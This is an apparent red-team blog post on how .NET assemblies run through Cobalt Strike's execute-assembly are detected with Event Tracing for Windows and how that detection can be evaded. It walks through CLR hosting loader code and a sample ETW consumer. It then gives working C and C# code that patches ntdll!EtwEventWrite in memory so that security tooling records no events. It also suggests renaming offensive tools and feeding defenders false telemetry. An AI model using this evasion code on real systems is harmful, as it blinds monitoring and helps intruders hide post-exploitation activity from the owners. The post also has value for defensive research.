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After the introduction of Powershell detection capabilities, attackers did what you expect and 
migrated over to less scrutinised technologies, such as .NET. Fast-forward a few years and 
many of us are now accustomed with the numerous .NET payloads available for 
post-exploitation. Suites of tools like those offered by​ ​GhostPack​, as well as​ ​SharpHound​ are 
now part of our arsenals, and the engine responsible for powering their delivery is normally 
Cobalt Strike's execute-assembly. 

This one function changed how many RedTeam's operate, and is in my mind one of the primary 
reasons for the continued popularity in .NET tooling, allowing operators to run Assemblies from 
unmanaged processes as they follow their post-exploitation playbook. 

Now just as with Powershell, over time defensive capabilities have been introduced by Microsoft 
and endpoint security vendors to help reduce the blind spots that .NET payload execution 
introduced (such as the now infamous​ ​AMSI​ which was introduced in .NET 4.8). And one of the 
challenges as an attacker has been the continued use of this technology while trying to remain 
relatively silent. Now of course AMSI​ ​didn't prove​ to be too much of a hassle, but I fear that 
other techniques used by defenders haven't received as much scrutiny. 

So over a couple of posts I want to explore just how BlueTeam are going about detecting 
malicious execution of .NET, its use via methods such as execute-assembly, and how we as 
attackers can go about evading this, both by bypassing detection and limiting the impact should 
our toolkit be exposed. 

This first post will focus on Event Threading for Windows (ETW) and how this is used to signal 
which .NET Assemblies are being executed from unmanaged processes. 

How execute-assembly works 
To understand a defender's detective capability, we first need to look at how techniques such as 
execute-assembly actually works. 

The magic behind this method lies in 3 interfaces ICLRMetaHost, ICLRRuntimeInfo and 
ICLRRuntimeHost. To start the process of loading the CLR into our "unmanaged" process 
(otherwise known as a Windows process without the CLR started), we invoke the 
CLRCreateInstance method. Using this function will provide a ICLRMetaHost interface which 
exposes information on the list of .NET Frameworks available for us to work with: 

ICLRMetaHost *metaHost = ​NULL​;  

IEnumUnknown *runtime = ​NULL​; 
 

if​ (CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, 
(LPVOID*)&metaHost) != S_OK) { 

printf​(​"[x] Error: CLRCreateInstance(..)\n"​); 
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return​ ​2​; 
} 

 

if​ (metaHost->EnumerateInstalledRuntimes(&runtime) != S_OK) { 
printf​(​"[x] Error: EnumerateInstalledRuntimes(..)\n"​); 
return​ ​2​; 

} 

 
Once a  runtime is selected, we then instantiate our ICLRRuntimeInfo interface which in turn is 
used to create our ICLRRuntimeHost interface. 
 
frameworkName = (LPWSTR)LocalAlloc(LPTR, ​2048​); 
if​ (frameworkName == ​NULL​) { 

printf​(​"[x] Error: malloc could not allocate\n"​); 
return​ ​2​; 

} 

 

// Enumerate through runtimes and show supported frameworks 

while​ (runtime->Next(​1​, &enumRuntime, ​0​) == S_OK) { 
if​ (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK) { 

 if​ (runtimeInfo != ​NULL​) { 
 runtimeInfo->GetVersionString(frameworkName, &bytes); 

 wprintf(​L"[*] Supported Framework: %s\n"​, frameworkName); 
 } 

} 

} 

 

// For demo, we just use the last supported runtime 

if​ (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost) != S_OK) { 
printf​(​"[x] ..GetInterface(CLSID_CLRRuntimeHost...) failed\n"​); 
return​ ​2​; 

} 

 
Once created, everything comes together via 2 method calls, ICLRRuntimeHost::Start which 
loads the CLR into our process, and ICLRRuntimeHost::ExecuteInDefaultAppDomain which 
allows us to provide our Assembly location along with a method name to execute: 
 
  



// Start runtime, and load our assembly 

runtimeHost->Start(); 

 

printf​(​"[*] ======= Calling .NET Code =======\n\n"​); 
if​ (runtimeHost->ExecuteInDefaultAppDomain( 

L"myassembly.dll"​, 
L"myassembly.Program"​, 
L"test"​, 
L"argtest"​, 
&result 

) != S_OK) { 

printf​(​"[x] Error: ExecuteInDefaultAppDomain(..) failed\n"​); 
return​ ​2​; 

} 

printf​(​"[*] ======= Done =======\n"​); 

 
If you want to see this running end-to-end, a while back I created a Gist showing just how to do 
this​ ​here​. 

Once compiled and executed, we can see just how easy it is to load and execute a .NET 
Assembly in our unmanaged process: 

 

How BlueTeam can detect Assemblies 
Now that we know just how execute-assembly works, how do BlueTeam go about detecting its 
use? Well one common way is using Event Tracing for Windows (ETW), which was originally 
introduced for debugging and performance monitoring, but has evolved into a tool used by 
security products and  threat hunters to expose potential indicators of compromise. 

I first came across ETW being used in this way from Countercept in their series of posts 
covering​ ​malicious use of .NET​. Further examples such as​ ​SilkETW​ from​ ​@FuzzySec​ further 
demonstrate how ETW is used for analysing Microsoft's .NET CLR, as well as​ ​ClrGuard​ from 
Endgame which was developed as a proof-of-concept to detect malicious .NET processes and 
terminate them. 
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Now before we continue any further, I should say that using any kind of payload from the Github 
"Releases" tab of a project has long since been frowned upon in offensive security. Working to 
discourage this activity are projects such as​ ​GhostPack​ which go as far as to not provide any 
precompiled binaries at all, forcing users to compile their own solutions. For those not 
convinced, let's show how easy it is to detect an adversary who is doing this very thing, taking 
"​SharpHound​" as our test case. 

One easy way to view loaded Assemblies within a process is using​ ​ProcessHacker​. Let's look at 
just how a process appears when execute-assembly is used to load SharpHound. Below we can 
see our spawned surrogate process (w32tm.exe in this case) is clearly hosting SharpHound as 
shown by its .NET Assembly name: 

 

To demonstrate just how tools such as this go about enumerating .NET Assemblies, let's create 
a very simple ETW consumer which will surface indicators on the .NET Assemblies being 
loaded and executed by a process. 

Now Unfortunately creating an ETW consumer isn't the most intuitive task, but we can learn 
from how ProcessHacker has achieved this​ ​here​, which allows us to create something such as: 
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#define AssemblyDCStart_V1 155 

 

#include <windows.h> 

#include <stdio.h> 

#include <wbemidl.h> 

#include <wmistr.h> 

#include <evntrace.h> 

#include <Evntcons.h> 

 

static​ GUID ClrRuntimeProviderGuid = { ​0xe13c0d23​, ​0xccbc​, ​0x4e12​, { ​0x93​, ​0x1b​, ​0xd9​, ​0xcc​, ​0x2e​, ​0xee​, 
0x27​, ​0xe4​ } }; 
 

// Can be stopped with 'logman stop "dotnet trace" -etw' 

const​ ​char​ name[] = ​"dotnet trace\0"​; 
 

#pragma pack(1) 

typedef​ ​struct​ _​AssemblyLoadUnloadRundown_V1 
{ 

    ULONG64 AssemblyID; 

    ULONG64 AppDomainID; 

    ULONG64 BindingID; 

    ULONG AssemblyFlags; 

    WCHAR FullyQualifiedAssemblyName[​1​]; 
} AssemblyLoadUnloadRundown_V1, *PAssemblyLoadUnloadRundown_V1; 

#pragma pack() 

 

static​ ​void​ NTAPI ​ProcessEvent​(PEVENT_RECORD EventRecord) { 
 

    PEVENT_HEADER eventHeader = &EventRecord->EventHeader; 

    PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor; 

    AssemblyLoadUnloadRundown_V1* assemblyUserData; 

 

    ​switch​ (eventDescriptor->Id) { 
  ​case​ AssemblyDCStart_V1: 
  assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData; 

  wprintf(​L"[%d] - Assembly: %s\n"​, eventHeader->ProcessId, 
assemblyUserData->FullyQualifiedAssemblyName); 

  ​break​; 
    } 

} 

 

int​ ​main​(​void​) 
{ 

    TRACEHANDLE hTrace = ​0​; 
    ULONG result, bufferSize; 

    EVENT_TRACE_LOGFILEA trace; 

    EVENT_TRACE_PROPERTIES *traceProp; 

 

    ​printf​(​"ETW .NET Trace example - @_xpn_\n\n"​); 
 

    ​memset​(&trace, ​0​, ​sizeof​(EVENT_TRACE_LOGFILEA)); 
    trace.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD; 

    trace.LoggerName = (LPSTR)name; 

    trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent; 

 

    bufferSize = ​sizeof​(EVENT_TRACE_PROPERTIES) + ​sizeof​(name) + ​sizeof​(WCHAR); 



 

    traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize); 

    traceProp->Wnode.BufferSize = bufferSize; 

    traceProp->Wnode.ClientContext = ​2​; 
    traceProp->Wnode.Flags = WNODE_FLAG_TRACED_GUID; 

    traceProp->LogFileMode = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY; 

    traceProp->LogFileNameOffset   = ​0​; 
    traceProp->LoggerNameOffset = ​sizeof​(EVENT_TRACE_PROPERTIES); 
 

    ​if​ ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) { 
  ​printf​(​"[!] Error starting trace: %d\n"​, result); 
  ​return​ ​1​; 
    } 

 

    ​if​ ((result = EnableTraceEx( 
  &ClrRuntimeProviderGuid, 

  ​NULL​, 
  hTrace, 

  ​1​, 
  TRACE_LEVEL_VERBOSE, 

  ​0x8​, ​// LoaderKeyword 
  ​0​, 
  ​0​, 
  ​NULL 
    )) != ERROR_SUCCESS) { 

  ​printf​(​"[!] Error EnableTraceEx\n"​); 
  ​return​ ​2​; 
    } 

 

    hTrace = OpenTrace(&trace); 

    ​if​ (hTrace == INVALID_PROCESSTRACE_HANDLE) { 
  ​printf​(​"[!] Error OpenTrace\n"​); 
  ​return​ ​3​; 
    } 

 

    result = ProcessTrace(&hTrace, ​1​, ​NULL​, ​NULL​); 
    ​if​ (result != ERROR_SUCCESS) { 
  ​printf​(​"[!] Error ProcessTrace\n"​); 
  ​return​ ​4​; 
    } 

 

    ​return​ ​0​; 
} 

 

With our consumer crafted, let's kick it off and then attempt to use the execute-assembly option 
in Cobalt Strike to run ​Sharphound 

And as you can see, the Sharphound Assembly name is quickly surfaced, giving an immediate 
indication that this tool is in use. Now of course a quick and easy fix for this would be to actually 
compile the tool and rename the Assembly to something less obvious, for example: 

msbuild.exe /p:AssemblyName=notmalware ... 
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This of course only solves the problem of how we avoid detection by Assembly name. What if 
we adapted our ETW tool to start surfacing suspect method names being invoked, which we 
could easily do by adding in something such as: 

... 

switch​ (eventDescriptor->Id) { 
  ​case​ MethodLoadVerbose_V1: 

methodUserData = (struct _MethodLoadVerbose_V1*)EventRecord->UserData; 

WCHAR* MethodNameSpace = methodUserData->MethodNameSpace; 

WCHAR* MethodName = (WCHAR*)(((​char​*)methodUserData->MethodNameSpace) + 
(lstrlenW(methodUserData->MethodNameSpace) * ​2​) + ​2​); 

WCHAR* MethodSignature = (WCHAR*)(((​char​*)MethodName) + (lstrlenW(MethodName) * ​2​) + ​2​); 
wprintf(​L"[%d] - MethodNameSpace: %s\n"​, eventHeader->ProcessId, methodUserData->MethodNameSpace); 
wprintf(​L"[%d] - MethodName: %s\n"​, eventHeader->ProcessId, MethodName); 
wprintf(​L"[%d] - MethodSignature: %s\n"​, eventHeader->ProcessId, MethodSignature); 
break​; 

... 

 
Again if we execute our SharpHound Assembly, even when renamed we see an immediate 
indication that someone is up to no good due to the ​SharpHound namespace, class names and 
method names 
 
If you want to try this ETW consumer for yourself, the source code is available​ ​here​. 

So with that in mind, we could again obfuscate our method names (check out my​ ​previous posts 
for examples of how we can do this), but ultimately we're in a cat and mouse game against ETW 
each time. 

How does the CLR surface events via ETW? 
Hopefully by this point the goal is obvious, we need to stop ETW from reporting our malicious 
activity to defenders. To do this we first need to understand just how the CLR exposes its 
events via ETW. 

Let's take a look at clr.dll to try and see if we can spot the moment that an event is triggered. 
Loading the PDB and hunting for the AssemblyDCStart_V1 symbol using Ghidra, we quickly 
land on the following method: 
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Let's see if we can find the exact point that an event is generated reporting the Assembly load 
which we observed above with our ETW consumer. Dropping into WinDBG and setting a 
breakpoint on all ntdll!EtwEventWrite calls occurring after the ModuleLoad method above, we 
quickly discover the following where we can see our Assembly name of "test" is being sent: 



 

So this tells us 2 things. First, these ETW events are sent from userland, and second that these 
ETW events are issued from within a process that we control... And as we know, having a 
malicious process report that it is doing something malicious never ends well. 

How RedTeam can disable .NET ETW 
By now you hopefully see the flaw in relying on ETW for indicators of malicious activity. Let's 
make some modifications to our unmanaged .NET loader by adding in the ability to patch out 
the ntdll!EtwEventWrite call. 

For this example we will target x86. Let's dig out that EtwEventWrite function to see what we're 
working with. If we follow the function disassembly we find that the return is completed via a ret 
14h opcode: 

 

To neuter this function we will use the same ret 14h opcode bytes of c21400 and apply them to 
the beginning of the function: 



// Get the EventWrite function 

void​ *eventWrite = GetProcAddress(LoadLibraryA(​"ntdll"​), ​"EtwEventWrite"​); 
 

// Allow writing to page 

VirtualProtect(eventWrite, ​4​, PAGE_EXECUTE_READWRITE, &oldProt); 
 

// Patch with "ret 14" on x86 

memcpy​(eventWrite, ​"\xc2\x14\x00\x00"​, ​4​); 
 

// Return memory to original protection 

VirtualProtect(eventWrite, ​4​, oldProt, &oldOldProt); 

 
Once this is done, we can see that the function will simply return and clean up the stack: 

 

So what happens to our ETW detection example now when we run our SharpHound Assembly? 
Well before we patched out ETW we would see something like this: 

 



And after we're done patching, we see that no events are logged: 

 

The source for this example can be found​ ​here​. 

So this is of course useful when we are using our own unmanaged .NET execution cradle, but 
how simple is it to do this from within a managed process? For example, couldn't we just do this 
before we make an Assembly.Load call? Well patching ETW from within .NET obviously comes 
with some limitations, mainly that you will still expose everything up to the point of patching, but 
this this still possible when attempting to load further Assemblies with something like:  
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using​ System; 
using​ System.Reflection; 
using​ System.Runtime.InteropServices; 
 

namespace​ test 
{ 

class​ ​Win32 
{ 

 [DllImport(​"kernel32"​)] 
 public​ ​static​ ​extern​ IntPtr ​GetProcAddress​(IntPtr hModule, ​string​ procName); 
 

 [DllImport(​"kernel32"​)] 
 public​ ​static​ ​extern​ IntPtr ​LoadLibrary​(​string​ name); 
 

 [DllImport(​"kernel32"​)] 
 public​ ​static​ ​extern​ ​bool​ ​VirtualProtect​(IntPtr lpAddress, UIntPtr dwSize, uint 
flNewProtect, out uint lpflOldProtect); 

} 

 

class​ ​Program 
{ 

 static​ ​void​ ​Main​(​string​[] args) 
 { 

 Console.WriteLine(​"ETW Unhook Example @_xpn_"​); 
 

 // Used for x86, I'll let you patch for x64 ;) 

 PatchEtw(​new​ byte[] { ​0xc2​, ​0x14​, ​0x00​ }); 
 

 Console.WriteLine(​"ETW Now Unhooked, further calls or Assembly.Load will not be 
logged"​); 
 Console.ReadLine(); 

 //Assembly.Load(new byte[] { }); 

 } 

 

 private​ ​static​ ​void​ ​PatchEtw​(byte[] patch) 
 { 

 try 

 { 

 uint oldProtect; 

 

 var ntdll = Win32.LoadLibrary(​"ntdll.dll"​); 
 var etwEventSend =   Win32.GetProcAddress(ntdll, ​"EtwEventWrite"​); 
 

 Win32.VirtualProtect(etwEventSend, (UIntPtr)patch.Length, ​0x40​, out 
oldProtect); 

 Marshal.Copy(patch, ​0​, etwEventSend, patch.Length); 
 } 

 catch 

 { 

 Console.WriteLine(​"Error unhooking ETW"​); 
 } 

 } 

} 

} 



And once we execute, we see that events are logged until the point that the unhooking occurs: 

 

And of course when you now attempt to use tools such which rely on ETW as their source of 
information, such as ProcessHacker, we see a sea of nothing: 

 

Now you can really get creative here if you like, such as feeding false information or filtering out 
only indicators that you don't wish defenders to see, and there are a lot of other ways you can 
go about disabling ETW other than patching ntdll!EtwEventWrite, but the takeaway is that 



although ETW used for defensive purposes is useful, it has its limitations. 

Hopefully this post has been worthwhile for those of you finding managed SOC's hunting down 
your .NET payloads during an engagement. In the second post I will explore something a little 
bit different, just how we go about protecting our payloads against extraction and analysis. 

 
 


